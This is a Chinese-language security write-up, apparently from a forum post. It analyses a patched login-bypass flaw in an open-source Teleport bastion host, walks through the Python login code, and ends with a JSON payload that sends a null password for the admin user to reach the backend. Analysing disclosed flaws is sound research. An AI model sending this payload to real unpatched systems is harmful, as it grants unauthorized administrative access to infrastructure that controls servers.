针对某开源堡垒机漏洞分析,目前开发商已经发布补丁。
0x01 环境搭建
- 源码下载
下载此版本源码
- 虚拟机搭建
下载得到的安装包放到临时目录中,然后执行下列命令:
tar -zxvf xxx.tar.gz
cd xxx sudo ./setup.sh
安装时需要指定安装路径,您可以使用默认的安装路径/usr/local/teleport
(直接回车即可),也可以指定别的路径,请注意路径中不要含有中文字符或空格。
管理权限执行./setup.sh即可安装
- 访问WEB页面
0x02 分析源码
源码在文件夹xxx/data/www/teleport/webroot/app目录下
下面先查看该框架的路由文件
跟进上图的方法来到以下文件的CLASS
主要看一下代码文件,提供了四种登陆方式,直接看TP_LOGIN_AUTH_USERNAME_PASSWORD_CAPTHA这种登陆方式(之前审计就已经发现,此时就不再考虑其他登陆方法)。
看代码,我们需要提供type、captcha、username、password、remember参数并且是以json形式POST提交。
果真需要password吗?往下看
err, user\_info, msg = user.login(self, username, login\_type\=login\_type, password\=password, oath\_code\=oath)
if err != TPE\_OK:
if err == TPE\_NOT\_EXISTS:
err = TPE\_USER\_AUTH
msg = '用户名或密码错误'
syslog.sys\_log({'username': '???', 'surname': '???'}, self.request.remote\_ip, TPE\_NOT\_EXISTS, '登录失败,用户\`{}\`不存在'.format(username))
return self.write\_json(err, msg)
self.\_user = user\_info
self.\_user\['\_is\_login'\] = True
验证登陆是通过user.login去验证的,跟进user.login。
这个函数大体的意思是先获取username然后去数据库中去取出相应username的数据,然后与用户输入的比对,然后返回各种结果。最重要的是需要看if password is not None:
这段和
if len(user\_info\['surname'\]) == 0:
user\_info\['surname'\] = user\_info\['username'\]
return TPE\_OK, user\_info, msg
从其中可以看出我们不需要输入password字段可以直接跳过IF语句,直接来到判断username是否存在的代码,然后返回结果给上面的class DoLoginHandler(TPBaseJsonHandler)。
验证完毕后,user.login返回的是正确结果就不会触发return语句,直接去到下面赋权。
由此推断此存在绕过登陆的漏洞。
0x03 验证漏洞
- 综上所述payload可构造为
args={"type":2,"username":"admin","password":null,"captcha":"xxxx","oath":"","remember":false}
- 验证payload
code为0说明成功
刷新一下首页就可进入后台
- 总结一下
之前python的源码没有审计过,感觉这套难度不太大,这套的套路还是先从路由着手,仔细一点就可以。
- 本文作者: ada
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1865
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!